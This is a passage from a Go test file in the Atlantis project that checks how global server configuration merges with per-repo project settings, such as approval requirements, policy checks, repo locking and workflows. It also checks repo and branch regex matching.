valid.MergedProjectCfg{\n\t\t\t\tPlanRequirements:   []string{},\n\t\t\t\tApplyRequirements:  []string{},\n\t\t\t\tImportRequirements: []string{},\n\t\t\t\tWorkflow: valid.Workflow{\n\t\t\t\t\tName:        \"default\",\n\t\t\t\t\tApply:       valid.DefaultApplyStage,\n\t\t\t\t\tPlan:        valid.DefaultPlanStage,\n\t\t\t\t\tPolicyCheck: valid.DefaultPolicyCheckStage,\n\t\t\t\t\tImport:      valid.DefaultImportStage,\n\t\t\t\t\tStateRm:     valid.DefaultStateRmStage,\n\t\t\t\t},\n\t\t\t\tPolicySets: valid.PolicySets{\n\t\t\t\t\tVersion:      version,\n\t\t\t\t\tApproveCount: 1,\n\t\t\t\t\tPolicySets: []valid.PolicySet{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tName:         \"good-policy\",\n\t\t\t\t\t\t\tPath:         \"rel/path/to/source\",\n\t\t\t\t\t\t\tSource:       \"local\",\n\t\t\t\t\t\t\tApproveCount: 1,\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tRepoRelDir:        \".\",\n\t\t\t\tWorkspace:         \"default\",\n\t\t\t\tName:              \"\",\n\t\t\t\tAutoplanEnabled:   false,\n\t\t\t\tRepoLocks:         valid.DefaultRepoLocks,\n\t\t\t\tCustomPolicyCheck: false,\n\t\t\t},\n\t\t},\n\t}\n\tfor name, c := range cases {\n\t\tt.Run(name, func(t *testing.T) {\n\t\t\ttmp := t.TempDir()\n\t\t\tvar global valid.GlobalCfg\n\t\t\tif c.gCfg != \"\" {\n\t\t\t\tpath := filepath.Join(tmp, \"config.yaml\")\n\t\t\t\tOk(t, os.WriteFile(path, []byte(c.gCfg), 0600))\n\t\t\t\tvar err error\n\t\t\t\tglobalCfgArgs := valid.GlobalCfgArgs{\n\t\t\t\t\tAllowAllRepoSettings: false,\n\t\t\t\t}\n\t\t\t\tglobal, err = (&config.ParserValidator{}).ParseGlobalCfg(path, valid.NewGlobalCfgFromArgs(globalCfgArgs))\n\t\t\t\tOk(t, err)\n\t\t\t} else {\n\t\t\t\tglobalCfgArgs := valid.GlobalCfgArgs{\n\t\t\t\t\tAllowAllRepoSettings: false,\n\t\t\t\t}\n\t\t\t\tglobal = valid.NewGlobalCfgFromArgs(globalCfgArgs)\n\t\t\t}\n\n\t\t\tEquals(t,\n\t\t\t\tc.exp,\n\t\t\t\tglobal.MergeProjectCfg(logging.NewNoopLogger(t), c.repoID, c.proj, valid.RepoCfg{}))\n\t\t})\n\t}\n}\n\nfunc TestGlobalCfg_MergeProjectCfg(t *testing.T) {\n\tvar emptyPolicySets valid.PolicySets\n\n\tdefaultWorkflow := valid.Workflow{\n\t\tName:        \"default\",\n\t\tApply:       valid.DefaultApplyStage,\n\t\tPolicyCheck: valid.DefaultPolicyCheckStage,\n\t\tPlan:        valid.DefaultPlanStage,\n\t\tImport:      valid.DefaultImportStage,\n\t\tStateRm:     valid.DefaultStateRmStage,\n\t}\n\tcases := map[string]struct {\n\t\tgCfg          string\n\t\trepoID        string\n\t\tproj          valid.Project\n\t\trepoWorkflows map[string]valid.Workflow\n\t\texp           valid.MergedProjectCfg\n\t}{\n\t\t\"repos can use server-side defined workflow if allowed\": {\n\t\t\tgCfg: `\nrepos:\n- id: /.*/\n  allowed_overrides: [workflow]\nworkflows:\n  custom:\n    plan:\n      steps: [plan]`,\n\t\t\trepoID: \"github.com/owner/repo\",\n\t\t\tproj: valid.Project{\n\t\t\t\tDir:          \".\",\n\t\t\t\tWorkspace:    \"default\",\n\t\t\t\tWorkflowName: String(\"custom\"),\n\t\t\t},\n\t\t\trepoWorkflows: nil,\n\t\t\texp: valid.MergedProjectCfg{\n\t\t\t\tPlanRequirements:   []string{},\n\t\t\t\tApplyRequirements:  []string{},\n\t\t\t\tImportRequirements: []string{},\n\t\t\t\tWorkflow: valid.Workflow{\n\t\t\t\t\tName:        \"custom\",\n\t\t\t\t\tApply:       valid.DefaultApplyStage,\n\t\t\t\t\tPolicyCheck: valid.DefaultPolicyCheckStage,\n\t\t\t\t\tPlan: valid.Stage{\n\t\t\t\t\t\tSteps: []valid.Step{\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tStepName: \"plan\",\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t\tImport:  valid.DefaultImportStage,\n\t\t\t\t\tStateRm: valid.DefaultStateRmStage,\n\t\t\t\t},\n\t\t\t\tRepoRelDir:        \".\",\n\t\t\t\tWorkspace:         \"default\",\n\t\t\t\tName:              \"\",\n\t\t\t\tAutoplanEnabled:   false,\n\t\t\t\tPolicySets:        emptyPolicySets,\n\t\t\t\tRepoLocks:         valid.DefaultRepoLocks,\n\t\t\t\tCustomPolicyCheck: false,\n\t\t\t},\n\t\t},\n\t\t\"repo-side plan reqs win out if allowed\": {\n\t\t\tgCfg: `\nrepos:\n- id: /.*/\n  allowed_overrides: [plan_requirements]\n  plan_requirements: [approved]\n`,\n\t\t\trepoID: \"github.com/owner/repo\",\n\t\t\tproj: valid.Project{\n\t\t\t\tDir:                \".\",\n\t\t\t\tWorkspace:          \"default\",\n\t\t\t\tPlanRequirements:   []string{\"mergeable\"},\n\t\t\t\tApplyRequirements:  []string{},\n\t\t\t\tImportRequirements: []string{},\n\t\t\t},\n\t\t\trepoWorkflows: nil,\n\t\t\texp: valid.MergedProjectCfg{\n\t\t\t\tPlanRequirements:   []string{\"mergeable\"},\n\t\t\t\tApplyRequirements:  []string{},\n\t\t\t\tImportRequirements: []string{},\n\t\t\t\tWorkflow:           defaultWorkflow,\n\t\t\t\tRepoRelDir:         \".\",\n\t\t\t\tWorkspace:          \"default\",\n\t\t\t\tName:               \"\",\n\t\t\t\tAutoplanEnabled:    false,\n\t\t\t\tPolicySets:         emptyPolicySets,\n\t\t\t\tRepoLocks:          valid.DefaultRepoLocks,\n\t\t\t\tCustomPolicyCheck:  false,\n\t\t\t},\n\t\t},\n\t\t\"repo-side apply reqs win out if allowed\": {\n\t\t\tgCfg: `\nrepos:\n- id: /.*/\n  allowed_overrides: [apply_requirements]\n  apply_requirements: [approved]\n`,\n\t\t\trepoID: \"github.com/owner/repo\",\n\t\t\tproj: valid.Project{\n\t\t\t\tDir:                \".\",\n\t\t\t\tWorkspace:          \"default\",\n\t\t\t\tPlanRequirements:   []string{},\n\t\t\t\tApplyRequirements:  []string{\"mergeable\"},\n\t\t\t\tImportRequirements: []string{},\n\t\t\t},\n\t\t\trepoWorkflows: nil,\n\t\t\texp: valid.MergedProjectCfg{\n\t\t\t\tPlanRequirements:   []string{},\n\t\t\t\tApplyRequirements:  []string{\"mergeable\"},\n\t\t\t\tImportRequirements: []string{},\n\t\t\t\tWorkflow:           defaultWorkflow,\n\t\t\t\tRepoRelDir:         \".\",\n\t\t\t\tWorkspace:          \"default\",\n\t\t\t\tName:               \"\",\n\t\t\t\tAutoplanEnabled:    false,\n\t\t\t\tPolicySets:         emptyPolicySets,\n\t\t\t\tRepoLocks:          valid.DefaultRepoLocks,\n\t\t\t\tCustomPolicyCheck:  false,\n\t\t\t},\n\t\t},\n\t\t\"repo-side apply reqs should include non-overridable 'policies_passed' req when overridden and policies enabled\": {\n\t\t\tgCfg: `\nrepos:\n- id: /.*/\n  allowed_overrides: [apply_requirements]\n  apply_requirements: [approved]\n  policy_check: true\n`,\n\t\t\trepoID: \"github.com/owner/repo\",\n\t\t\tproj: valid.Project{\n\t\t\t\tDir:                \".\",\n\t\t\t\tWorkspace:          \"default\",\n\t\t\t\tPlanRequirements:   []string{},\n\t\t\t\tApplyRequirements:  []string{\"mergeable\"},\n\t\t\t\tImportRequirements: []string{},\n\t\t\t},\n\t\t\trepoWorkflows: nil,\n\t\t\texp: valid.MergedProjectCfg{\n\t\t\t\tPlanRequirements:   []string{},\n\t\t\t\tApplyRequirements:  []string{\"mergeable\", \"policies_passed\"},\n\t\t\t\tImportRequirements: []string{},\n\t\t\t\tWorkflow:           defaultWorkflow,\n\t\t\t\tRepoRelDir:         \".\",\n\t\t\t\tWorkspace:          \"default\",\n\t\t\t\tName:               \"\",\n\t\t\t\tAutoplanEnabled:    false,\n\t\t\t\tPolicySets:         emptyPolicySets,\n\t\t\t\tRepoLocks:          valid.DefaultRepoLocks,\n\t\t\t\tCustomPolicyCheck:  false,\n\t\t\t\tPolicyCheck:        true,\n\t\t\t},\n\t\t},\n\t\t\"repo-side plan reqs should not include non-overridable 'policies_passed', since it's not a default plan requirement\": {\n\t\t\tgCfg: `\nrepos:\n- id: /.*/\n  allowed_overrides: [plan_requirements]\n  apply_requirements: [approved]\n  policy_check: true\n`,\n\t\t\trepoID: \"github.com/owner/repo\",\n\t\t\tproj: valid.Project{\n\t\t\t\tDir:                \".\",\n\t\t\t\tWorkspace:          \"default\",\n\t\t\t\tPlanRequirements:   []string{\"mergeable\"},\n\t\t\t\tApplyRequirements:  []string{},\n\t\t\t\tImportRequirements: []string{},\n\t\t\t},\n\t\t\trepoWorkflows: nil,\n\t\t\texp: valid.MergedProjectCfg{\n\t\t\t\tPlanRequirements:   []string{\"mergeable\"},\n\t\t\t\tApplyRequirements:  []string{\"approved\"},\n\t\t\t\tImportRequirements: []string{},\n\t\t\t\tWorkflow:           defaultWorkflow,\n\t\t\t\tRepoRelDir:         \".\",\n\t\t\t\tWorkspace:          \"default\",\n\t\t\t\tName:               \"\",\n\t\t\t\tAutoplanEnabled:    false,\n\t\t\t\tPolicySets:         emptyPolicySets,\n\t\t\t\tRepoLocks:          valid.DefaultRepoLocks,\n\t\t\t\tCustomPolicyCheck:  false,\n\t\t\t\tPolicyCheck:        true,\n\t\t\t},\n\t\t},\n\t\t\"repo-side apply reqs should not include non-overridable 'policies_passed' req when overridden and policies disabled\": {\n\t\t\tgCfg: `\nrepos:\n- id: /.*/\n  allowed_overrides: [apply_requirements]\n  apply_requirements: [approved]\n`,\n\t\t\trepoID: \"github.com/owner/repo\",\n\t\t\tproj: valid.Project{\n\t\t\t\tDir:                \".\",\n\t\t\t\tWorkspace:          \"default\",\n\t\t\t\tPlanRequirements:   []string{},\n\t\t\t\tApplyRequirements:  []string{\"mergeable\"},\n\t\t\t\tImportRequirements: []string{},\n\t\t\t},\n\t\t\trepoWorkflows: nil,\n\t\t\texp: valid.MergedProjectCfg{\n\t\t\t\tPlanRequirements:   []string{},\n\t\t\t\tApplyRequirements:  []string{\"mergeable\"},\n\t\t\t\tImportRequirements: []string{},\n\t\t\t\tWorkflow:           defaultWorkflow,\n\t\t\t\tRepoRelDir:         \".\",\n\t\t\t\tWorkspace:          \"default\",\n\t\t\t\tName:               \"\",\n\t\t\t\tAutoplanEnabled:    false,\n\t\t\t\tPolicySets:         emptyPolicySets,\n\t\t\t\tRepoLocks:          valid.DefaultRepoLocks,\n\t\t\t\tCustomPolicyCheck:  false,\n\t\t\t\tPolicyCheck:        false,\n\t\t\t},\n\t\t},\n\t\t\"repo-side import reqs win out if allowed\": {\n\t\t\tgCfg: `\nrepos:\n- id: /.*/\n  allowed_overrides: [import_requirements]\n  import_requirements: [approved]\n`,\n\t\t\trepoID: \"github.com/owner/repo\",\n\t\t\tproj: valid.Project{\n\t\t\t\tDir:                \".\",\n\t\t\t\tWorkspace:          \"default\",\n\t\t\t\tPlanRequirements:   []string{},\n\t\t\t\tApplyRequirements:  []string{},\n\t\t\t\tImportRequirements: []string{\"mergeable\"},\n\t\t\t},\n\t\t\trepoWorkflows: nil,\n\t\t\texp: valid.MergedProjectCfg{\n\t\t\t\tPlanRequirements:   []string{},\n\t\t\t\tApplyRequirements:  []string{},\n\t\t\t\tImportRequirements: []string{\"mergeable\"},\n\t\t\t\tWorkflow:           defaultWorkflow,\n\t\t\t\tRepoRelDir:         \".\",\n\t\t\t\tWorkspace:          \"default\",\n\t\t\t\tName:               \"\",\n\t\t\t\tAutoplanEnabled:    false,\n\t\t\t\tPolicySets:         emptyPolicySets,\n\t\t\t\tRepoLocks:          valid.DefaultRepoLocks,\n\t\t\t\tCustomPolicyCheck:  false,\n\t\t\t},\n\t\t},\n\t\t\"repo-side repo_locking win out if allowed\": {\n\t\t\tgCfg: `\nrepos:\n- id: /.*/\n  repo_locking: false\n`,\n\t\t\trepoID: \"github.com/owner/repo\",\n\t\t\tproj: valid.Project{\n\t\t\t\tDir:                \".\",\n\t\t\t\tWorkspace:          \"default\",\n\t\t\t\tPlanRequirements:   []string{},\n\t\t\t\tApplyRequirements:  []string{},\n\t\t\t\tImportRequirements: []string{},\n\t\t\t\tCustomPolicyCheck:  Bool(false),\n\t\t\t},\n\t\t\trepoWorkflows: nil,\n\t\t\texp: valid.MergedProjectCfg{\n\t\t\t\tPlanRequirements:   []string{},\n\t\t\t\tApplyRequirements:  []string{},\n\t\t\t\tImportRequirements: []string{},\n\t\t\t\tWorkflow:           defaultWorkflow,\n\t\t\t\tRepoRelDir:         \".\",\n\t\t\t\tWorkspace:          \"default\",\n\t\t\t\tName:               \"\",\n\t\t\t\tAutoplanEnabled:    false,\n\t\t\t\tPolicySets:         emptyPolicySets,\n\t\t\t\tRepoLocks:          valid.RepoLocks{Mode: valid.RepoLocksDisabledMode},\n\t\t\t\tCustomPolicyCheck:  false,\n\t\t\t},\n\t\t},\n\t\t\"repo-side repo_locks win out if allowed\": {\n\t\t\tgCfg: `\nrepos:\n- id: /.*/\n  repo_locks:\n    mode: on_apply\n`,\n\t\t\trepoID: \"github.com/owner/repo\",\n\t\t\tproj: valid.Project{\n\t\t\t\tDir:                \".\",\n\t\t\t\tWorkspace:          \"default\",\n\t\t\t\tPlanRequirements:   []string{},\n\t\t\t\tApplyRequirements:  []string{},\n\t\t\t\tImportRequirements: []string{},\n\t\t\t\tRepoLocks:          &valid.DefaultRepoLocks,\n\t\t\t\tCustomPolicyCheck:  Bool(false),\n\t\t\t},\n\t\t\trepoWorkflows: nil,\n\t\t\texp: valid.MergedProjectCfg{\n\t\t\t\tPlanRequirements:   []string{},\n\t\t\t\tApplyRequirements:  []string{},\n\t\t\t\tImportRequirements: []string{},\n\t\t\t\tWorkflow:           defaultWorkflow,\n\t\t\t\tRepoRelDir:         \".\",\n\t\t\t\tWorkspace:          \"default\",\n\t\t\t\tName:               \"\",\n\t\t\t\tAutoplanEnabled:    false,\n\t\t\t\tPolicySets:         emptyPolicySets,\n\t\t\t\tRepoLocks:          valid.RepoLocks{Mode: valid.RepoLocksOnApplyMode},\n\t\t\t\tCustomPolicyCheck:  false,\n\t\t\t},\n\t\t},\n\t\t\"last server-side match wins\": {\n\t\t\tgCfg: `\nrepos:\n- id: /.*/\n  plan_requirements: [approved]\n  apply_requirements: [approved]\n  import_requirements: [approved]\n- id: /github.com/.*/\n  plan_requirements: [mergeable]\n  apply_requirements: [mergeable]\n  import_requirements: [mergeable]\n- id: github.com/owner/repo\n  plan_requirements: [approved, mergeable]\n  apply_requirements: [approved, mergeable]\n  import_requirements: [approved, mergeable]\n`,\n\t\t\trepoID: \"github.com/owner/repo\",\n\t\t\tproj: valid.Project{\n\t\t\t\tDir:       \"mydir\",\n\t\t\t\tWorkspace: \"myworkspace\",\n\t\t\t\tName:      String(\"myname\"),\n\t\t\t},\n\t\t\trepoWorkflows: nil,\n\t\t\texp: valid.MergedProjectCfg{\n\t\t\t\tPlanRequirements:   []string{\"approved\", \"mergeable\"},\n\t\t\t\tApplyRequirements:  []string{\"approved\", \"mergeable\"},\n\t\t\t\tImportRequirements: []string{\"approved\", \"mergeable\"},\n\t\t\t\tWorkflow:           defaultWorkflow,\n\t\t\t\tRepoRelDir:         \"mydir\",\n\t\t\t\tWorkspace:          \"myworkspace\",\n\t\t\t\tName:               \"myname\",\n\t\t\t\tAutoplanEnabled:    false,\n\t\t\t\tPolicySets:         emptyPolicySets,\n\t\t\t\tRepoLocks:          valid.DefaultRepoLocks,\n\t\t\t\tCustomPolicyCheck:  false,\n\t\t\t},\n\t\t},\n\t\t\"autoplan is set properly\": {\n\t\t\tgCfg:   \"\",\n\t\t\trepoID: \"github.com/owner/repo\",\n\t\t\tproj: valid.Project{\n\t\t\t\tDir:       \"mydir\",\n\t\t\t\tWorkspace: \"myworkspace\",\n\t\t\t\tName:      String(\"myname\"),\n\t\t\t\tAutoplan: valid.Autoplan{\n\t\t\t\t\tWhenModified: []string{\".tf\"},\n\t\t\t\t\tEnabled:      true,\n\t\t\t\t},\n\t\t\t},\n\t\t\trepoWorkflows: nil,\n\t\t\texp: valid.MergedProjectCfg{\n\t\t\t\tPlanRequirements:   []string{},\n\t\t\t\tApplyRequirements:  []string{},\n\t\t\t\tImportRequirements: []string{},\n\t\t\t\tWorkflow:           defaultWorkflow,\n\t\t\t\tRepoRelDir:         \"mydir\",\n\t\t\t\tWorkspace:          \"myworkspace\",\n\t\t\t\tName:               \"myname\",\n\t\t\t\tAutoplanEnabled:    true,\n\t\t\t\tPolicySets:         emptyPolicySets,\n\t\t\t\tRepoLocks:          valid.DefaultRepoLocks,\n\t\t\t\tCustomPolicyCheck:  false,\n\t\t\t},\n\t\t},\n\t\t\"execution order group is set\": {\n\t\t\tgCfg:   \"\",\n\t\t\trepoID: \"github.com/owner/repo\",\n\t\t\tproj: valid.Project{\n\t\t\t\tDir:       \"mydir\",\n\t\t\t\tWorkspace: \"myworkspace\",\n\t\t\t\tName:      String(\"myname\"),\n\t\t\t\tAutoplan: valid.Autoplan{\n\t\t\t\t\tWhenModified: []string{\".tf\"},\n\t\t\t\t\tEnabled:      true,\n\t\t\t\t},\n\t\t\t\tExecutionOrderGroup: 10,\n\t\t\t},\n\t\t\trepoWorkflows: nil,\n\t\t\texp: valid.MergedProjectCfg{\n\t\t\t\tPlanRequirements:    []string{},\n\t\t\t\tApplyRequirements:   []string{},\n\t\t\t\tImportRequirements:  []string{},\n\t\t\t\tWorkflow:            defaultWorkflow,\n\t\t\t\tRepoRelDir:          \"mydir\",\n\t\t\t\tWorkspace:           \"myworkspace\",\n\t\t\t\tName:                \"myname\",\n\t\t\t\tAutoplanEnabled:     true,\n\t\t\t\tPolicySets:          emptyPolicySets,\n\t\t\t\tExecutionOrderGroup: 10,\n\t\t\t\tRepoLocks:           valid.DefaultRepoLocks,\n\t\t\t\tCustomPolicyCheck:   false,\n\t\t\t},\n\t\t},\n\t}\n\tfor name, c := range cases {\n\t\tt.Run(name, func(t *testing.T) {\n\t\t\ttmp := t.TempDir()\n\t\t\tvar global valid.GlobalCfg\n\t\t\tif c.gCfg != \"\" {\n\t\t\t\tpath := filepath.Join(tmp, \"config.yaml\")\n\t\t\t\tOk(t, os.WriteFile(path, []byte(c.gCfg), 0600))\n\t\t\t\tvar err error\n\t\t\t\tglobalCfgArgs := valid.GlobalCfgArgs{\n\t\t\t\t\tAllowAllRepoSettings: false,\n\t\t\t\t}\n\n\t\t\t\tglobal, err = (&config.ParserValidator{}).ParseGlobalCfg(path, valid.NewGlobalCfgFromArgs(globalCfgArgs))\n\t\t\t\tOk(t, err)\n\t\t\t} else {\n\t\t\t\tglobalCfgArgs := valid.GlobalCfgArgs{\n\t\t\t\t\tAllowAllRepoSettings: false,\n\t\t\t\t}\n\t\t\t\tglobal = valid.NewGlobalCfgFromArgs(globalCfgArgs)\n\t\t\t}\n\n\t\t\tglobal.PolicySets = emptyPolicySets\n\t\t\tEquals(t, c.exp, global.MergeProjectCfg(logging.NewNoopLogger(t), c.repoID, c.proj, valid.RepoCfg{Workflows: c.repoWorkflows}))\n\t\t})\n\t}\n}\n\nfunc TestRepo_IDMatches(t *testing.T) {\n\t// Test exact matches.\n\tEquals(t, false, (valid.Repo{ID: \"github.com/owner/repo\"}).IDMatches(\"github.com/runatlantis/atlantis\"))\n\tEquals(t, true, (valid.Repo{ID: \"github.com/owner/repo\"}).IDMatches(\"github.com/owner/repo\"))\n\n\t// Test regexes.\n\tEquals(t, true, (valid.Repo{IDRegex: regexp.MustCompile(\".*\")}).IDMatches(\"github.com/owner/repo\"))\n\tEquals(t, true, (valid.Repo{IDRegex: regexp.MustCompile(\"github.com\")}).IDMatches(\"github.com/owner/repo\"))\n\tEquals(t, false, (valid.Repo{IDRegex: regexp.MustCompile(\"github.com/anotherowner\")}).IDMatches(\"github.com/owner/repo\"))\n\tEquals(t, true, (valid.Repo{IDRegex: regexp.MustCompile(\"github.com/(owner|runatlantis)\")}).IDMatches(\"github.com/owner/repo\"))\n\tEquals(t, true, (valid.Repo{IDRegex: regexp.MustCompile(\"github.com/owner.*\")}).IDMatches(\"github.com/owner/repo\"))\n}\n\nfunc TestRepo_IDString(t *testing.T) {\n\tEquals(t, \"github.com/owner/repo\", (valid.Repo{ID: \"github.com/owner/repo\"}).IDString())\n\tEquals(t, \"/regex.*/\", (valid.Repo{IDRegex: regexp.MustCompile(\"regex.*\")}).IDString())\n}\n\nfunc TestRepo_BranchMatches(t *testing.T) {\n\t// Test matches when no branch regex is set.\n\tEquals(t, true, (valid.Repo{}).BranchMatches(\"main\"))\n\n\t// Test regexes.\n\tEquals(t, true, (valid.Repo{BranchRegex: regexp.MustCompile(\".*\")}).BranchMatches(\"main\"))\n\tEquals(t, true, (valid.Repo{BranchRegex: regexp.MustCompile(\"main\")}).BranchMatches(\"main\"))\n\tEquals(t, false, (valid.Repo{BranchRegex: regexp.MustCompile(\"^main$\")}).BranchMatches(\"foo-main\"))\n\tEquals(t, false, (valid.Repo{BranchRegex: regexp.MustCompile(\"^main$\")}).BranchMatches(\"main-foo\"))\n\tEquals(t, true, (valid.Repo{BranchRegex: regexp.MustCompile(\"(main|master)\")}).BranchMatches(\"main\"))\n\tEquals(t, true, (valid.Repo{BranchRegex: regexp.MustCompile(\"(main|master)\")}).BranchMatches(\"main\"))\n\tEquals(t, true, (valid.Repo{BranchRegex: regexp.MustCompile(\"release\")}).BranchMatches(\"release-stage\"))\n\tEquals(t, false, (valid.Repo{BranchRegex: regexp.MustCompile(\"release\")}).BranchMatches(\"main\"))\n}\n\nfunc TestGlobalCfg_MatchingRepo(t *testing.T) {\n\tdefaultRepo := valid.Repo{\n\t\tIDRegex:            regexp.MustCompile(\".*\"),\n\t\tBranchRegex:        regexp.MustCompile(\".*\"),\n\t\tPlanRequirements:   []string{},\n\t\tApplyRequirements:  []string{},\n\t\tImportRequirements: []string{},\n\t}\n\trepo1 := valid.Repo{\n\t\tIDRegex:            regexp.MustCompile(\".*\"),\n\t\tBranchRegex:        regexp.MustCompile(\"^main$\"),\n\t\tPlanRequirements:   []string{\"approved\"},\n\t\tApplyRequirements:  []string{\"approved\"},\n\t\tImportRequirements: []string{\"approved\"},\n\t}\n\trepo2 := valid.Repo{\n\t\tID:                 \"github.com/owner/repo\",\n\t\tBranchRegex:        regexp.MustCompile(\"^main$\"),\n\t\tPlanRequirements:   []string{\"approved\", \"mergeable\"},\n\t\tApplyRequirements:  []string{\"approved\", \"mergeable\"},\n\t\tImportRequirements: []string{\"approved\", \"mergeable\"},\n\t}\n\n\tcases := map[string]struct {\n\t\tgCfg   valid.GlobalCfg\n\t\trepoID string\n\t\texp    *valid.Repo\n\t}{\n\t\t\"matches to default\": {\n\t\t\tgCfg: valid.GlobalCfg{\n\t\t\t\tRepos: []valid.Repo{\n\t\t\t\t\tdefaultRepo,\n\t\t\t\t\trepo2,\n\t\t\t\t},\n\t\t\t},\n\t\t\trepoID: \"foo\",\n\t\t\texp:    &defaultRepo,\n\t\t},\n\t\t\"matches to IDRegex\": {\n\t\t\tgCfg: valid.GlobalCfg{\n\t\t\t\tRepos: []valid.Repo{\n\t\t\t\t\tdefaultRepo,\n\t\t\t\t\trepo1,\n\t\t\t\t\trepo2,\n\t\t\t\t},\n\t\t\t},\n\t\t\trepoID: \"foo\",\n\t\t\texp:    &repo1,\n\t\t},\n\t\t\"matches to ID\": {\n\t\t\tgCfg: valid.GlobalCfg{\n\t\t\t\tRepos: []valid.Repo{\n\t\t\t\t\tdefaultRepo,\n\t\t\t\t\trepo1,\n\t\t\t\t\trepo2,\n\t\t\t\t},\n\t\t\t},\n\t\t\trepoID: \"github.com/owner/repo\",\n\t\t\texp:    &repo2,\n\t\t},\n\t}\n\n\tfor name, c := range cases {\n\t\tt.Run(name, func(t *testing.T) {\n\t\t\tEquals(t, c.exp, c.gCfg.MatchingRepo(c.repoID))\n\t\t})\n\t}\n}\n\nfunc TestGlobalCfg_PolicyCheckOverride(t *testing.T) {\n\tvar emptyPolicySets valid.PolicySets\n\n\tdefaultWorkflow := valid.Workflow{\n\t\tName:        \"default\",\n\t\tApply:       valid.DefaultApplyStage,\n\t\tPolicyCheck: valid.DefaultPolicyCheckStage,\n\t\tPlan:        valid.DefaultPlanStage,\n\t\tImport:      valid.DefaultImportStage,\n\t\tStateRm:     valid.DefaultStateRmStage,\n\t}\n\tcases := map[string]struct {\n\t\tgPolicyCheck  bool\n\t\tgCfg          string\n\t\trepoID        string\n\t\tproj          valid.Project\n\t\trepoWorkflows map[string]valid.Workflow\n\t\texp           valid.MergedProjectCfg\n\t}{\n\t\t\"global policy check disabled\": {\n\t\t\tgPolicyCheck: false,\n\t\t\tgCfg: `\nrepos:\n- id: /.*/\n  plan_requirements: [approved]\n  apply_requirements: [approved]\n  import_requirements: [approved]\n- id: /github.com/.*/\n  plan_requirements: [mergeable]\n  apply_requirements: [mergeable]\n  import_requirements: [mergeable]\n- id: github.com/owner/repo\n  plan_requirements: [approved, mergeable]\n  apply_requirements: [approved, mergeable]\n  import_requirements: [approved, mergeable]\n`,\n\t\t\trepoID: \"github.com/owner/repo\",\n\t\t\tproj: valid.Project{\n\t\t\t\tDir:         \"mydir\",\n\t\t\t\tWorkspace:   \"myworkspace\",\n\t\t\t\tName:        String(\"myname\"),\n\t\t\t\tPolicyCheck: Bool(false),\n\t\t\t},\n\t\t\trepoWorkflows: nil,\n\t\t\texp: valid.MergedProjectCfg{\n\t\t\t\tPlanRequirements:   []string{\"approved\", \"mergeable\"},\n\t\t\t\tApplyRequirements:  []string{\"approved\", \"mergeable\"},\n\t\t\t\tImportRequirements: []string{\"approved\", \"mergeable\"},\n\t\t\t\tWorkflow:           defaultWorkflow,\n\t\t\t\tRepoRelDir:         \"mydir\",\n\t\t\t\tWorkspace:          \"myworkspace\",\n\t\t\t\tName:               \"myname\",\n\t\t\t\tAutoplanEnabled:    false,\n\t\t\t\tPolicySets:         emptyPolicySets,\n\t\t\t\tRepoLocks:          valid.DefaultRepoLocks,\n\t\t\t\tPolicyCheck:        false,\n\t\t\t\tCustomPolicyCheck:  false,\n\t\t\t},\n\t\t},\n\t\t\"global policy check enabled\": {\n\t\t\tgPolicyCheck: true,\n\t\t\tgCfg: `\nrepos:\n- id: /.*/\n  plan_requirements: [approved]\n  apply_requirements: [approved]\n  import_requirements: [approved]\n- id: /github.com/.*/\n  plan_requirements: [mergeable]\n  apply_requirements: [mergeable]\n  import_requirements: [mergeable]\n- id: github.com/owner/repo\n  plan_requirements: [approved, mergeable]\n  apply_requirements: [approved, mergeable]\n  import_requirements: [approved, mergeable]\n`,\n\t\t\trepoID: \"github.com/owner/repo\",\n\t\t\tproj: valid.Project{\n\t\t\t\tDir:         \"mydir\",\n\t\t\t\tWorkspace:   \"myworkspace\",\n\t\t\t\tName:        String(\"myname\"),\n\t\t\t\tPolicyCheck: Bool(true),\n\t\t\t},\n\t\t\trepoWorkflows: nil,\n\t\t\texp: valid.MergedProjectCfg{\n\t\t\t\tPlanRequirements:   []string{\"approved\", \"mergeable\"},\n\t\t\t\tApplyRequirements:  []string{\"approved\", \"mergeable\", \"policies_passed\"},\n\t\t\t\tImportRequirements: []string{\"approved\", \"mergeable\"},\n\t\t\t\tWorkflow:           defaultWorkflow,\n\t\t\t\tRepoRelDir:         \"mydir\",\n\t\t\t\tWorkspace:          \"myworkspace\",\n\t\t\t\tName:               \"myname\",\n\t\t\t\tAutoplanEnabled:    false,\n\t\t\t\tPolicySets:         emptyPolicySets,\n\t\t\t\tRepoLocks:          valid.DefaultRepoLocks,\n\t\t\t\tPolicyCheck:        true,\n\t\t\t\tCustomPolicyCheck:  false,\n\t\t\t},\n\t\t},\n\t\t\"global policy check enabled except current repo\": {\n\t\t\tgPolicyCheck: true,\n\t\t\tgCfg: `\nrepos:\n- id: /.*/\n  plan_requirements: [approved]\n  apply_requirements: [approved]\n  import_requirements: [approved]\n- id: /github.com/.*/\n  plan_requirements: [mergeable]\n  apply_requirements: [mergeable]\n  import_requirements: [mergeable]\n- id: github.com/owner/repo\n  plan_requirements: [approved, mergeable]\n  apply_requirements: [approved, mergeable]\n  import_requirements: [approved, mergeable]\n  policy_check: false\n`,\n\t\t\trepoID: \"github.com/owner/repo\",\n\t\t\tproj: valid.Project{\n\t\t\t\tDir:         \"mydir\",\n\t\t\t\tWorkspace:   \"myworkspace\",\n\t\t\t\tName:        String(\"myname\"),\n\t\t\t\tPolicyCheck: Bool(false),\n\t\t\t},\n\t\t\trepoWorkflows: nil,\n\t\t\texp: valid.MergedProjectCfg{\n\t\t\t\tPlanRequirements:   []string{\"approved\", \"mergeable\"},\n\t\t\t\tApplyRequirements:  []string{\"approved\", \"mergeable\"},\n\t\t\t\tImportRequirements: []string{\"approved\", \"mergeable\"},\n\t\t\t\tWorkflow:           defaultWorkflow,\n\t\t\t\tRepoRelDir:         \"mydir\",\n\t\t\t\tWorkspace:          \"myworkspace\",\n\t\t\t\tName:               \"myname\",\n\t\t\t\tAutoplanEnabled:    false,\n\t\t\t\tPolicySets:         emptyPolicySets,\n\t\t\t\tRepoLocks:          valid.DefaultRepoLocks,\n\t\t\t\tPolicyCheck:        false,\n\t\t\t\tCustomPolicyCheck:  false,\n\t\t\t},\n\t\t},\n\t\t\"global policy check disabled and disabled on current repo\": {\n\t\t\tgPolicyCheck: false,\n\t\t\tgCfg: 